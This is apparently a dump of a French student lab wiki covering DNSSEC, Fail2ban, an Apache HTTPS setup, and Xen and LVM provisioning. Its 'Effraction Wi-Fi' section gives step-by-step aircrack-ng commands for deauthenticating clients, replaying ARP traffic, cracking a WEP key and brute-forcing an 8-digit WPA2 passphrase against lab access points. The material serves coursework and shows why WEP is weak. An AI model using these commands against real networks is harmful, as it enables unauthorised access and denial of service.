    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
	ServerAlias www.rs7.online.&lt;br /&gt;
        Redirect permanent / https://rs7.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
        DocumentRoot /var/www/rs7.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/rs7.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/rs7.online.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
	ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
	ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
	&amp;lt;Directory /var/www/rs7.online&amp;gt;&lt;br /&gt;
		AllowOverride All&lt;br /&gt;
		Require all granted&lt;br /&gt;
	&amp;lt;/Directory&amp;gt;&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre page web est maintenant accessible via http://rs7.online .&lt;br /&gt;
&lt;br /&gt;
= Effraction Wi-Fi = &lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).&lt;br /&gt;
&lt;br /&gt;
* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''  &lt;br /&gt;
* Canal utilisé : '''11'''&lt;br /&gt;
&lt;br /&gt;
=== Passage de l’interface en mode monitor ===&lt;br /&gt;
&lt;br /&gt;
Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlan0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
Scan des réseaux protégés en WEP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --encrypt WEP wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié présente les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
=== Capture du trafic ===&lt;br /&gt;
&lt;br /&gt;
Capture ciblée du point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --channel 11 \&lt;br /&gt;
            --bssid 00:14:BF:63:1E:42 \&lt;br /&gt;
            --write capture_wep \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.&lt;br /&gt;
&lt;br /&gt;
=== Authentification d’une adresse MAC d’injection ===&lt;br /&gt;
&lt;br /&gt;
Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --fakeauth 0 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* -a : BSSID réel du point d’accès&lt;br /&gt;
* -h : adresse MAC utilisée pour l’injection&lt;br /&gt;
* --fakeauth 0 : authentification Open System&lt;br /&gt;
&lt;br /&gt;
Résultat : authentification et association réussies.&lt;br /&gt;
&lt;br /&gt;
=== Génération de trafic ARP (rejeu) ===&lt;br /&gt;
&lt;br /&gt;
Afin d’accélérer l’accumulation d’IV :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --arpreplay \&lt;br /&gt;
            -b 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.&lt;br /&gt;
&lt;br /&gt;
=== Désauthentification d’un client ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer l’émission de nouvelles requêtes ARP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --deauth 5 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette action force les stations à se reconnecter, générant du trafic exploitable.&lt;br /&gt;
&lt;br /&gt;
=== Cassage de la clé ===&lt;br /&gt;
&lt;br /&gt;
Lorsque le nombre d’IV atteint environ 45 000 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng capture_wep-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Résultat obtenu :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cracotte08.png|800px|vignette|centré]]&lt;br /&gt;
&lt;br /&gt;
- Nombre d’IV exploités : ~44 687&lt;br /&gt;
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE&lt;br /&gt;
- Taux de déchiffrement : 100 %&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable. &lt;br /&gt;
&lt;br /&gt;
La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt; en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; correspond à l’interface Wi-Fi placée en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié possède les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Paramètre !! Valeur&lt;br /&gt;
|-&lt;br /&gt;
| ESSID || kracotte08&lt;br /&gt;
|-&lt;br /&gt;
| BSSID || 44:AD:D9:5F:87:07&lt;br /&gt;
|-&lt;br /&gt;
| Canal || 13&lt;br /&gt;
|-&lt;br /&gt;
| Chiffrement || WPA2&lt;br /&gt;
|-&lt;br /&gt;
| Authentification || PSK&lt;br /&gt;
|-&lt;br /&gt;
| Puissance signal || -38 dBm&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Une station cliente connectée a également été détectée :&lt;br /&gt;
&lt;br /&gt;
* Adresse MAC : 40:A5:EF:01:25:8B&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Capture du handshake WPA ===&lt;br /&gt;
&lt;br /&gt;
Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-c 13&amp;lt;/code&amp;gt; : écoute sur le canal du point d’accès.&lt;br /&gt;
* &amp;lt;code&amp;gt;--bssid&amp;lt;/code&amp;gt; : filtrage du réseau cible uniquement.&lt;br /&gt;
* &amp;lt;code&amp;gt;-w&amp;lt;/code&amp;gt; : sauvegarde des paquets capturés.&lt;br /&gt;
* &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; : interface en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.&lt;br /&gt;
&lt;br /&gt;
===Forçage de la reconnexion des clients ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-0 10&amp;lt;/code&amp;gt; : envoi de 10 trames de désauthentification.&lt;br /&gt;
* &amp;lt;code&amp;gt;-a&amp;lt;/code&amp;gt; : BSSID du point d’accès cible.&lt;br /&gt;
&lt;br /&gt;
Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Sortie observée :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Absence de capture du handshake ===&lt;br /&gt;
&lt;br /&gt;
Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
WPA handshake: 44:AD:D9:5F:87:07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
n’est apparu dans la fenêtre de capture.&lt;br /&gt;
&lt;br /&gt;
Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
seq -w 00000000 99999999 &amp;gt; dictionnaire.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
=== Tentative de cassage du mot de passe ===&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de lancer l’attaque par dictionnaire :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12397</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12397"/>
		<updated>2026-02-25T17:07:57Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Vérification du certificat SSL */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
